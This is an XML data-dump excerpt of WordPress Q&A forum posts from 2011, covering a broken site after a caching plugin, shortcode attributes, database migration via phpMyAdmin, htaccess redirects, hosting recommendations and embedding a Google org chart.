  <row Id="10969" PostTypeId="1" CreationDate="2011-03-02T23:08:15.827" Score="0" ViewCount="88" Body="&lt;p&gt;I installed wp-cache to help with site speed. Shortly afterward, I was unable to access the site. Included below are the browser errors I receive. The site is hosted by GoDaddy. I asked them to restore my site from a nightly backup, which they tried to do but it did not work. They recommended I reinstall Wordpress and restore the database from a backup. I did both but the only database I have to backup is from today, after the problem started. I'm no expert regarding databases but if you are restoring a bad database, the site still going to have problems, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I researched wp-cache plugin problems and found solutions that worked for some but not for me. Maybe the problem is not coming from the plugin. But my site is completely down. I need help. Desperation set in a long time ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the error when visiting the home page:&#xA;Fatal error: Call to undefined function: wp()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error when visiting /wp-admin&#xA;Fatal error: Call to undefined function: get_option()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error when visiting /wpadmin/upgrade.php&#xA;Fatal error: Call to undefined function: timer_start()&lt;/p&gt;&#xA;" LastActivityDate="2011-03-03T17:52:15.460" Title="Need help restoring my Wordpress blog" Tags="&lt;plugins&gt;&lt;database&gt;" AnswerCount="2" />
  <row Id="10970" PostTypeId="1" AcceptedAnswerId="11019" CreationDate="2011-03-02T23:20:35.523" Score="1" ViewCount="101" Body="&lt;p&gt;I'm just wondering if anyone knows of a method or plugin that I can implement that will keep track of Facebook likes within Wordpress posts, and allow me to show posts in order of &quot;most liked&quot;?&lt;/p&gt;&#xA;" OwnerUserId="3651" LastActivityDate="2011-03-03T13:08:46.100" Title="Is there a method or plugin that will allow posts to be sortable by Facebook likes?" Tags="&lt;facebook&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="10971" PostTypeId="2" ParentId="10969" CreationDate="2011-03-02T23:54:19.910" Score="1" ViewCount="" Body="&lt;p&gt;Have you tried removing the wp-cache folder? I had a bad update of a different plugin once and simply &quot;uninstalling&quot; it by removing it from the wp-content/plugins folder allowed things to run normally and I installed an older version of the plugin.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2011-03-02T23:54:19.910" />
  <row Id="10972" PostTypeId="2" ParentId="5650" CreationDate="2011-03-02T23:59:40.107" Score="0" ViewCount="" Body="&lt;p&gt;I just ran into this situation. Here is a function I used to undo wpautop. I might be missing something, but this is a good start:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function reverse_wpautop($s)&#xA;{&#xA;    //remove any new lines already in there&#xA;    $s = str_replace(&quot;\n&quot;, &quot;&quot;, $s);&#xA;&#xA;    //remove all &amp;lt;p&amp;gt;&#xA;    $s = str_replace(&quot;&amp;lt;p&amp;gt;&quot;, &quot;&quot;, $s);&#xA;&#xA;    //replace &amp;lt;br /&amp;gt; with \n&#xA;    $s = str_replace(array(&quot;&amp;lt;br /&amp;gt;&quot;, &quot;&amp;lt;br&amp;gt;&quot;, &quot;&amp;lt;br/&amp;gt;&quot;), &quot;\n&quot;, $s);&#xA;&#xA;    //replace &amp;lt;/p&amp;gt; with \n\n&#xA;    $s = str_replace(&quot;&amp;lt;/p&amp;gt;&quot;, &quot;\n\n&quot;, $s);       &#xA;&#xA;    return $s;      &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3652" LastActivityDate="2011-03-02T23:59:40.107" />
  <row Id="10973" PostTypeId="1" AcceptedAnswerId="10976" CreationDate="2011-03-03T00:30:41.890" Score="0" ViewCount="73" Body="&lt;p&gt;Is there a way of creating an empty attribute for a shortcode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function paragraph_shortcode( $atts, $content = null ) {&#xA;&#xA;   return '&amp;lt;p class=&quot;super-p&quot;&amp;gt;' . do_shortcode($content) . '&amp;lt;/p&amp;gt;';&#xA;}&#xA;&#xA;add_shortcode('paragraph', 'paragraph_shortcode'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;User types &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[paragraph] something [/paragraph]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and it shows &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;p class=&quot;super-p&quot;&amp;gt; something &amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to add an empty attribute functionality to my first code? So when user types &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[paragraph last] something&#xA;  [/paragraph]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It will output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;super-p last&quot;&amp;gt; something &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe adding a:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;extract( shortcode_atts( array(&#xA;            'last' =&amp;gt; '',&#xA;        ), $atts ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is a good start, but how to check if user used the &quot;last&quot; attribute while it doesn't have a value?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-03-03T00:47:50.943" Title="Shortcode empty attribute" Tags="&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="10974" PostTypeId="2" ParentId="10881" CreationDate="2011-03-03T00:43:05.050" Score="1" ViewCount="" Body="&lt;p&gt;This is fixed in WP 3.2-alpha:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/15292&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/15292&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-25T11:13:54.117" LastActivityDate="2011-04-25T11:13:54.117" />
  <row Id="10975" PostTypeId="2" ParentId="6553" CreationDate="2011-03-03T00:47:50.180" Score="4" ViewCount="" Body="&lt;p&gt;Here's a very comprehensive guide if someone can help me format it correctly. Sorry, I don't have the time right now to figure out the formatting...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;A. FTP-copy all theme and wp/upload files from {old_site} to {new_site}&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use FTP client to copy from {old_site} to temp folder on local machine&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy from temp folder to {new_site}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;B. Backup (export) existing database (from old_site)&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Login to your web hosting control panel. Click on your equivalent of “Database admin”.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Examine file wp-config.php in the temp folder of local machine, look for DB_Host and DB_Name. They corresponds to the Hostname and Database value in the DreamHost Web Panel.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on “phpMyAdmin” for the matching hostname. A user name and password prompt appears.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter your MySQL user name and password. The phpMyAdmin user interface appears.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the left pane, click the popup menu item (databases) .... A list of MySQL databases on this server appears.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the database which you wish to back up from the list. Information on that database appears in the right pane.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the tabs across the top, click Export. A pane marked &quot;View dump (schema) of database&quot; appears.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Underneath the list marked &quot;Export&quot;, click the link Select All. All the table names will be highlighted.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the radio button set below, make sure SQL is selected. This selects the output format.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the section marked &quot;Structure:&quot;, check the box marked Structure:. Within this section check boxes marked Add AUTO_INCREMENT value, and Enclose table and field names with backquotes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the section marked &quot;Data:&quot;, check the box marked Data:. Within this section check boxes marked Use hexadecimal for binary fields. If you are backing up a large (how large???) database, uncheck extended inserts as when you restore the backup the server may not accept such long SQL commands. If you plan to apply the backup to a database with a different structure (e.g., you applied a mod to PhpBB) or to an updated version of a web application, check complete inserts, otherwise leave it unchecked. Leave other boxes unchanged.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the box marked Save as file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the box marked &quot;File name template:&quot;, fill in the name you want the backup file to have. phpMyAdmin expands certain abbreviations in this string: &lt;strong&gt;SERVER&lt;/strong&gt; expands to the server name, &lt;strong&gt;DB&lt;/strong&gt; expands to the database name, and a string like %Y%m%d is expanded according to the rules of PHPs strftime function.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click Go button.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save file on local machine.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;C. Create new database&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Login to  your web hosting control panel. Click on your equivalent of “Database admin”.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scroll down to “Create a new MySQL database” &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter new values for Database Name and hostname.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create new username/password values (or re-use from original wp-config.php file)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click “Add new database now!” button.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(Optional) Wait for new hostname to be created.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;D. Restore (Import) to new database&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Login to  your web hosting control panel. Click on “My SQL Databases”.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on “phpMyAdmin” for the matching hostname of the new database created in step 3b. A user name and password prompt appears.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter your MySQL user name and password. The phpMyAdmin user interface appears.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the left pane, click the popup menu item (databases) .... A list of MySQL databases on this server appears.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the new database you created in step 3b.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the tabs across the top, click Import.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the pane labeled “Fiile to Import”, click the “Browse...” button and select the sql file you exported at the end of step 2. Leave other boxes/values unchanged.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click Go button. The database should be imported successfully.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the new database you created in step 3b.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From the list, look for the table name that starts with “wp” and ends with “_options”. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the small icon indicated as Browse.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A screen will open with a list of the fields within the table.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under the field option_name, scroll down and look for siteurl.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the Edit Field icon which usually is found at the far left at the beginning of the row.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Edit Field window will appear.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the input box for option_value, carefully change the URL information to the new address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Verify this is correct and click Go to save the information.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You should be returned to your wp-options table.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look for the home field in the table and click Edit Field. Note There are several pages of tables inside wp_options. Look for the &gt; symbol to page through them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the input box for option_value, carefully change the URL information to the new address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Verify this is correct and click Go to save the information.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;E. New site FTP file modifications&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the folder wp-content/cache for the {new_site} &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Update the file “wp-config” on the local machine by updating the fields with the values from steps 3b and 3c:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. 'DB_NAME' : Database name &lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. 'DB_USER' : Username&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c. 'DB_PASSWORD':  Password&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d. 'DB_HOST': server MySql is running on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e. Make sure to update the TABLE_Prefix to the same value listed in step 4j.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;upload the changed wp-config.php file to {new_site}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(optional) Delete temp folder from local computer&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;F. Update&lt;/h3&gt;&#xA;" OwnerUserId="3290" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-03T05:29:51.260" LastActivityDate="2011-03-03T05:29:51.260" />
  <row Id="10976" PostTypeId="2" ParentId="10973" CreationDate="2011-03-03T00:47:50.943" Score="0" ViewCount="" Body="&lt;p&gt;There could be a couple ways to do this. Unfortunately, I don't think any will result in exactly what you're going for. ( &lt;code&gt;[paragraph last]&lt;/code&gt; )&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You could just create separate shortcodes for &lt;code&gt;[paragraph_first]&lt;/code&gt; &lt;code&gt;[paragraph_last]&lt;/code&gt; &lt;code&gt;[paragraph_foobar]&lt;/code&gt; that handle $content without needing any attributes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You could set the default value for last to &lt;code&gt;false&lt;/code&gt; instead of &lt;code&gt;''&lt;/code&gt;, then require users to do &lt;code&gt;[paragraph last=&quot;&quot;]content[/paragraph]&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You could add a more meaningful attribute such as &lt;code&gt;position&lt;/code&gt; which could then be used like &lt;code&gt;[paragraph position=&quot;first&quot;]&lt;/code&gt; or &lt;code&gt;[paragraph position=&quot;last&quot;]&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Because of the fact that WordPress discards any atts not given defaults, and the fact that an att without an &lt;code&gt;=&quot;value&quot;&lt;/code&gt; is given the default value same as if it's not listed at all, I don't see any way to achieve &lt;code&gt;[paragraph last]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully one of my 3 workaround will prove useful. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2011-03-03T00:47:50.943" CommentCount="1" />
  <row Id="10977" PostTypeId="1" AcceptedAnswerId="11001" CreationDate="2011-03-03T00:55:38.100" Score="0" ViewCount="63" Body="&lt;p&gt;Probably not the correct fora to ask, but.. Also probably a simple question.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are changing our site to Wordpress, and need to redirect old posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously structure: &#xA;&lt;code&gt;http://url.com/art/12345.html&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Needs to go to &#xA;&lt;code&gt;http://url.com/?p=12345&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-03-03T09:49:37.897" Title="htaccess redirect dynamic posts" Tags="&lt;redirect&gt;&lt;htaccess&gt;" AnswerCount="1" />
  <row Id="10978" PostTypeId="2" ParentId="2498" CreationDate="2011-03-03T01:14:17.353" Score="0" ViewCount="" Body="&lt;p&gt;I have been with Hostgator shared account, and have have pushed it till 400k page views per month, without any downgrade in performance at all. And they have awesome support. Hostgator is a no brainer. Here is my long review about Hostgator:&#xA;&lt;a href=&quot;http://www.ilovefreesoftware.com/18/articles/moved-to-hostgator-loving-it.html&quot; rel=&quot;nofollow&quot;&gt;http://www.ilovefreesoftware.com/18/articles/moved-to-hostgator-loving-it.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My second choice is InmotionHosting. Had a website with them that pushed more than 30K page views a month, without any performance degrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ZippyKid has unbelievably high prices - very surprising. &lt;/p&gt;&#xA;" OwnerUserId="3627" LastActivityDate="2011-03-03T01:14:17.353" />
  <row Id="10979" PostTypeId="1" CreationDate="2011-03-03T01:41:23.593" Score="0" ViewCount="479" Body="&lt;p&gt;How do I display this page in a Wordpress site?  What do i need to add or remove?  This is for a static page not a blog post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(FYI: I want to use this to display a family tree on my website).  I'm a wordpress beginner so please explain this at a beginner level if possible  thanks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;  &amp;lt;head&amp;gt;&#xA;    &amp;lt;script type='text/javascript' src='https://www.google.com/jsapi'&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type='text/javascript'&amp;gt;&#xA;      google.load('visualization', '1', {packages:['orgchart']});&#xA;      google.setOnLoadCallback(drawChart);&#xA;      function drawChart() {&#xA;        var data = new google.visualization.DataTable();&#xA;        data.addColumn('string', 'Name');&#xA;        data.addColumn('string', 'Manager');&#xA;        data.addColumn('string', 'ToolTip');&#xA;        data.addRows([&#xA;          [{v:'Mike', f:'Mike&amp;lt;div style=&quot;color:red; font-style:italic&quot;&amp;gt;President&amp;lt;/div&amp;gt;'}, '', 'The President'],&#xA;          [{v:'Jim', f:'Jim&amp;lt;div style=&quot;color:red; font-style:italic&quot;&amp;gt;Vice President&amp;lt;/div&amp;gt;'}, 'Mike', 'VP'],&#xA;          ['Alice', 'Mike', ''],&#xA;          ['Bob', 'Jim', 'Bob Sponge'],&#xA;          ['Carol', 'Bob', '']&#xA;        ]);&#xA;        var chart = new google.visualization.OrgChart(document.getElementById('chart_div'));&#xA;        chart.draw(data, {allowHtml:true});&#xA;      }&#xA;    &amp;lt;/script&amp;gt;&#xA;  &amp;lt;/head&amp;gt;&#xA;&#xA;  &amp;lt;body&amp;gt;&#xA;    &amp;lt;div id='chart_div'&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;edit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok so I've been researching custom page templates.  I think I need something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    /*&#xA;    Template Name: GoogleOrgChart&#xA;    */&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php wp_enqueue_script( GoogleOrgChartScript, 'https://www.google.com/jsapi'); ?&amp;gt; &#xA;&#xA;&amp;lt;div id='chart_div'&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;so is this what it should look like?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;        /*&#xA;        Template Name: GoogleOrgChart&#xA;        */&#xA;&#xA;&#xA;        add_action('wp_print_scripts','chart_data');&#xA;        add_filter('the_content', 'chart_content');&#xA;&#xA;    function chart_data() {&#xA;&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;script type='text/javascript' src='https://www.google.com/jsapi'&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type='text/javascript'&amp;gt;&#xA;          google.load('visualization', '1', {packages:['orgchart']});&#xA;          google.setOnLoadCallback(drawChart);&#xA;          function drawChart() {&#xA;            var data = new google.visualization.DataTable();&#xA;            data.addColumn('string', 'Name');&#xA;            data.addColumn('string', 'Manager');&#xA;            data.addColumn('string', 'ToolTip');&#xA;            data.addRows([&#xA;              [{v:'Mike', f:'Mike&amp;lt;div style=&quot;color:red; font-style:italic&quot;&amp;gt;President&amp;lt;/div&amp;gt;'}, '', 'The President'],&#xA;              [{v:'Jim', f:'Jim&amp;lt;div style=&quot;color:red; font-style:italic&quot;&amp;gt;Vice President&amp;lt;/div&amp;gt;'}, 'Mike', 'VP'],&#xA;              ['Alice', 'Mike', ''],&#xA;              ['Bob', 'Jim', 'Bob Sponge'],&#xA;              ['Carol', 'Bob', '']&#xA;            ]);&#xA;            var chart = new google.visualization.OrgChart(document.getElementById('chart_div'));&#xA;            chart.draw(data, {allowHtml:true});&#xA;          }&#xA;    &amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;&#xA;    function chart_content() {&#xA;&#xA;        return '&amp;lt;div id=&quot;chart_div&quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    }&#xA;?&amp;gt;&#xA;&#xA;    &amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php the_content(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3657" LastEditorUserId="3657" LastEditorDisplayName="" LastEditDate="2011-03-06T00:50:34.327" LastActivityDate="2011-03-06T00:50:34.327" Title="Add google org chart to wordpress page" Tags="&lt;3.0&gt;&lt;pages&gt;" AnswerCount="3" />
  <row Id="10980" PostTypeId="1" CreationDate="2011-03-03T01:46:52.243" Score="0" ViewCount="75" Body="&lt;p&gt;My plug-in currently uses a dummy post with the type &quot;page&quot; to display custom content based on two arguments in the query string.  I had it all working great -- even locked down editing the pages so the admin couldn't accidentally delete them (they just hold content like &quot;This page was automatically generated by The Plugin&quot; etc).  My plug-in stores a &quot;pages&quot; array in my serialized options array that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;array(&#xA;   'myplug_profile' =&amp;gt; array( 'ID' =&amp;gt; [post.ID], 'page_name' =&amp;gt; [post.post_name] )&#xA;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My rules are added to the rewrite_rules on plug-in activation...there are ample tutorials on this and it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I ever replace in a page is #content.  In addition, I need to be able to receive JSON from a call to my plugin.  Preliminary testing indicates that echoing the json and exit() works.  I have placed custom rewrite rules so that my pages can be access with /page_name/[my arguments] All working great until the option for permalink_structure is set to &quot;&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;What I realized is that WP_Rewrite-&gt;non_wp_rules property is completely ignored when permalink_structure is empty.  This occurs on the third line of the WP_Rewrite-&gt;rewrite_rules() method.  The non_wp_rules indeed seem to be wp_rules?&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leads me to believe I'm going about the custom page (or &quot;dummy page&quot;) pattern all wrong.  I can't have my plug-in a) not work when the admin decides to turn off permalinks and b) I don't believe it's a good idea to have my plugin edit the WP's permalink_structure setting during activation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just need things like /profiles/Username and /stream/Username/filter:blah to &lt;em&gt;always&lt;/em&gt; work.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Is having my plug-in write to .htaccess in it's own area the only option?&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a very hard time identifying patterns and best practices for what I thought would be a very simple case.&lt;/p&gt;&#xA;" LastActivityDate="2011-03-03T01:46:52.243" Title="What is the most current pattern for custom wordpress content generated by a plugin?" Tags="&lt;plugin-development&gt;&lt;url-rewriting&gt;&lt;rewrite-rules&gt;" FavoriteCount="2" />
  <row Id="10981" PostTypeId="1" CreationDate="2011-03-03T02:03:15.743" Score="0" ViewCount="26" Body="&lt;p&gt;I have a music events site &lt;a href=&quot;http://www.zarpa.eu&quot; rel=&quot;nofollow&quot;&gt;http://www.zarpa.eu&lt;/a&gt;.&#xA;I'm using the Future is Now plugin to help me to schedule the events &lt;a href=&quot;http://wordpress.org/extend/plugins/the-future-is-now/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/the-future-is-now/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to group events by dates, something like this: &lt;a href=&quot;http://pt.yeaaaah.com/pt/agenda-de-concertos&quot; rel=&quot;nofollow&quot;&gt;http://pt.yeaaaah.com/pt/agenda-de-concertos&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple solution for this? I tried many things and I searched for all over Google and nothing..  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank u :)&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2011-03-03T07:13:21.610" Title="Listing posts by grouping dates" Tags="&lt;query&gt;" AnswerCount="1" />
  <row Id="10982" PostTypeId="2" ParentId="10140" CreationDate="2011-03-03T02:11:50.087" Score="1" ViewCount="" Body="&lt;p&gt;It worked. I tryed this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function actualiza() {&lt;br&gt;&#xA;global $post;&lt;br&gt;&#xA;$args = array(&lt;br&gt;&#xA;    'numberposts' =&gt; -1,&lt;br&gt;&#xA;    'post_type' =&gt; 'post',&lt;br&gt;&#xA;    );&lt;br&gt;&#xA;$the_query = get_posts( $args );&lt;br&gt;&#xA;if ($the_query) {&lt;br&gt;&#xA;    foreach ($the_query as $post) {&lt;br&gt;&#xA;        $name = $post-&gt;post_title;&#xA;            update_post_meta($post-&gt;ID, 'name_post', $name);&#xA;    } &#xA;}&#xA;}&lt;br&gt;&#xA;wp_reset_query();&lt;br&gt;&#xA;add_action('wp_head', 'actualiza');&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2011-03-03T02:11:50.087" />
  <row Id="10983" PostTypeId="2" ParentId="2498" CreationDate="2011-03-03T02:23:10.093" Score="1" ViewCount="" Body="&lt;p&gt;I would at least start you foundation on a VPS. That way you have the option for APC opcode cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.php.net/manual/en/intro.apc.php&quot; rel=&quot;nofollow&quot;&gt;http://www.php.net/manual/en/intro.apc.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3658" LastActivityDate="2011-03-03T02:23:10.093" />
  <row Id="10984" PostTypeId="1" CreationDate="2011-03-03T02:27:20.247" Score="0" ViewCount="219" Body="&lt;p&gt;Can anyone confirm this file is safe to remove? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="3658" LastActivityDate="2011-03-03T02:47:08.557" Title="Is &quot;/wp-includes/js/jquery/jquery.js&quot; a part of WP 3.1. If so, is it safe to remove?" Tags="&lt;3.1&gt;" AnswerCount="2" />
  <row Id="10985" PostTypeId="2" ParentId="10984" CreationDate="2011-03-03T02:45:12.447" Score="0" ViewCount="" Body="&lt;p&gt;My mistake, Tribulant's FAQ Plugin was calling it.&lt;/p&gt;&#xA;" OwnerUserId="3658" LastActivityDate="2011-03-03T02:45:12.447" />
